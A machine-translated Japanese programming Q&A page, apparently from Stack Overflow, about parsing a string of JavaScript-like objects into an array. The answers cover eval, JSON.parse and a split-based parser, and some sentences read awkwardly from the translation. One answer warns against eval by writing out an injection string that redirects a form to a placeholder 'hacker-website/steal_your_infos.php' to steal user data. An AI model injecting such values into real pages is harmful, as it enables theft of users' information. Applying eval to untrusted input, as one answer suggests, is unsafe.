2017-06-16 7 views
0

文字列変数を配列に変換しようとしています。文字列の各 '行'は{}で囲まれているので、下の例では配列内に3つの行があるはずです。私はregexp式を試してきましたが(私はそれが行く方法だと思いますが)私は正しいことができません。変数から配列を作成する

私が持っている:

var src = "{col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4', 
col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3: 
'data9'}"; 

私が欲しい:

var dest = [ {col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4', 
col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3: 'data9'} 
]; 

私が試した:

var srow = data.src(/{/); 
var erow = data.src(/}/)+1; 
var row = src.substring(srow, erow); 
alert(row); //add to array and repeat : srow = erow+1.... 

すべてのヘルプは歓迎です!

答えて

0

私はこのようなデータがどこから得られているかわからないが、理想的にはデータの配列を文字列として保存することは理想的ではない。つまり、正規表現を使用して、文字列の先頭と末尾を角かっこ([])で置き換えてから、dangerouslyevalという変数に置き換えることができます。

const arr = eval(src.replace(/^/, '[').replace(/$/, ']')) 

これが役に立ちます。

+0

私は "危険な" 正当化するために参照されたページには何も表示されません。 – RobG

+0

正しいアイデアですが、regexpを使って文字列の先頭と末尾に文字を追加するのは本当に最善の方法ではありません。 –

+1

@RobG _eval()は危険な機能です... –

0

文字列がJSON形式を正しく認識していれば、JSON.parse(src)でそれを行うことができます。あなたは絶対にその時点から、それを変換する必要がある場合は、より小さな悪はおそらく、直接このようevalを用いることであろう、JSONデータよりも、何か他の配列を受け取ることを考えると

var dst = eval('[' + src + ']'); 

しかし、 "'}]; document.forms[0].action="hacker-website/steal_your_infos.php'; ["?)

evalの文字列の変換を正当化するためにあなたのプロジェクトが壊れているとは思わないでしょうか?(あなたのシステムがその行をあなたのシステムに挿入するとどうなりますか? 。私の提案は、この壊れたデータを送信し、少なくとも有効な文字列化されたJSONを送信するように修正することです。

さらに、JSONオブジェクトを送信するようにしてください。

たとえば、これは事により送信された有効なJSONオブジェクトのようになります。壊れたデータを回避するために、全体のことをハックしようと

{ 
    "rows": [ 
     { 
     "col1": "data1", 
     "col2": "data2", 
     "col3": "data3" 
     }, 
     { 
     "col1": "data4", 
     ... 
     } 
    ] 
} 

は真剣にあなたのプロジェクトを傷つけることができ、あなたつつ、今それを修正してくださいまだできます。

これが役に立ちます。

0

私はこれが役に立ちそうです。

ビューの例ここでは... https://jsfiddle.net/xombie/cL8qbdb4/

javascript関数

function run(){ 
var src = "{col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4', col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3: 'data9'}"; 

var srow = src.split('{').join(''); 
var erow = srow.split('},'); 
var dest= []; 
for(var i= 0, len = erow.length; i < len; i++){ 
    var mainobj = []; 
    erow[i] = erow[i].replace('}', ''); 
    erow[i] = erow[i].split(','); 
    for(var x= 0, len2 = erow[i].length; x < len2; x++){ 
    erow[i][x] = erow[i][x].split("'").join(''); 
    erow[i][x] = erow[i][x].split(" ").join(''); 
    erow[i][x] = erow[i][x].split(':'); 
    mainobj[erow[i][x][0]] = erow[i][x][1]; 
    } 
    dest.push(mainobj); 
} 
console.log(dest); 
} 
関連する問題